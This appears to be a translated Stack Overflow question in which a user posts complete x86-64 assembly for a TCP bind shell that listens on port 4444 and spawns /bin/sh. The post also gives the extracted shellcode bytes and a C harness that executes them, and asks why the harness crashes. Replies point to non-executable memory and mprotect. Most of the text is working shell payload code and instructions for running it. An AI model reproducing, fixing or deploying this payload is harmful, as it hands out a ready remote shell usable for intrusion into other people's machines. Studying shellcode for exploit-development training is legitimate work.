【问题标题】:Segmentation fault when i try to run the extracted shellcode even if there is no null当我尝试运行提取的 shellcode 时出现分段错误,即使没有 null
【发布时间】:2016-03-28 19:10:45
【问题描述】:

我正在使用 64 位编写 TCP 绑定 Shell

global _start

section .text

_start:

        ;Initializing the registers to make the syscalls
        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 41

        xor rax, rax
        xor rdi, rdi
        xor rsi, rsi
        push 0x29
        pop rax
        push 0x2
        pop rdi
        inc rsi
        syscall

        ; copying the socket descripter from rax to rdi register so that we can use it further 
        xchg rax, rdi

        ; server.sin_family = AF_INET 
        ; server.sin_port = htons(PORT)
        ; server.sin_addr.s_addr = INADDR_ANY
        ; bzero(&server.sin_zero, 8)

        ; setting up the data sctructure

        xor rax, rax 

        mov dword [rsp - 4] , eax   ; we are pushing 8 zero's into the eax register
        mov word [rsp - 6] ,0x5c11  ; htons value for(4444) obtained from python then encoded with hex
        mov byte [rsp - 8] , 0x2    ; adding the AF_INET constant value 
        sub rsp , 8                 ; subtracting 8 bytes so that the argument will be aligned in the top of the register

        ; bind(sock, (struct sockaddr *)&server, sockaddr_len)
        ; syscall number 49
        add al, 0x31
        mov rsi, rsp
        add dl, 0x10
        syscall

        ;listen the sockets for the incomming connections    
        ; listen(sock, MAX_CLIENTS)
        ; syscall number 50
        cdq
        push 0x32
        pop rax
        xor rsi, rsi
        add rsi, 0x2
        syscall

        ; new = accept(sock, (struct sockaddr *)&client, &sockaddr_len)
        ;syscall number 43
        xor rax, rax
        add al, 0x2b
        sub rsp, 0x10
        mov rsi, rsp
        push 0x10
        mov rdx, rsp
        syscall

        ; storing the client socket description
        mov r9, rax

        ; close parent
        push 0x3
        pop rax
        syscall

        xchg rdi , r9
        xor rsi , rsi

dup2:
        push 0x21
        pop rax
        syscall
        inc rsi
        cmp rsi , 0x2
        loopne dup2

        ; NASM code for Execve
        xor rax , rax
        mov rdx , rax 
        push rax

        mov rbx, 0x68732f2f6e69622f
        push rbx

        ; store /bin//sh address in RDI
        mov rdi, rsp

        ; Second NULL push
        push rax


        ; Push address of /bin//sh
        push rdi

        ; set RSI
        mov rsi, rsp

        ; Call the Execve syscall
        push 0x3b
        pop rax
        syscall

当我尝试运行已编译的可执行文件时,它运行良好。但是,如果我提取 shell 代码并使用 c 运行它,它的抛出分段错误核心会被转储。

"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48 \x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89 \xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48 \x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48 \x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xc0\x48\x89\xc2\x50\x48\xbb \x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05";

帮我找出问题所在

shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x6a\x29\x58\x6a\x02\x5f\x48\xff\xc6\x0f\x05\x48\x97\x48\x31\xc0\x89\x44\x24\xfc\x66\xc7\x44\x24\xfa\x11\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x04\x31\x48\x89\xe6\x80\xc2\x10\x0f\x05\x99\x6a\x32\x58\x48\x31\xf6\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x04\x2b\x48\x83\xec\x10\x48\x89\xe6\x6a\x10\x48\x89\xe2\x0f\x05\x49\x89\xc1\x6a\x03\x58\x0f\x05\x49\x87\xf9\x48\x31\xf6\x6a\x21\x58\x0f\x05\x48\xff\xc6\x48\x83\xfe\x02\xe0\xf2\x48\x31\xf6\x48\xf7\xe6\x66\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x6a\x3b\x58\x0f\x05";

main()
{

    printf("Shellcode Length:  %d\n", (int)strlen(code));

    int (*ret)() = (int(*)())code;

    ret();

}

【问题讨论】:

  • "用 c 运行它"。如何?你写了一个CPU模拟器吗? C 没有运行字符串的功能。
  • 是的,我用 gcc -fno-stack-protector -z execstack shellcode.c -o shellcode 编译了它
  • 展示如何使用 C 运行它。
  • 你编译的 shellcode.c 文件里有什么?
  • 您的操作系统足够智能,不允许您执行不可执行的内存。您传递给 gcc 的标志无关紧要,因为您的代码不在堆栈上。

标签: c nasm


【解决方案1】:

好的,这看起来像是在 Linux 上。您必须使您的堆栈可执行才能使其工作。您基本上必须在您的内存区域上调用 mprotect() 并将其权限设置为 PROT_EXEC 和 PROT_READ。

http://linux.about.com/library/cmd/blcmdl2_mprotect.htm

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2017-08-30
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2022-01-15
    相关资源
    最近更新 更多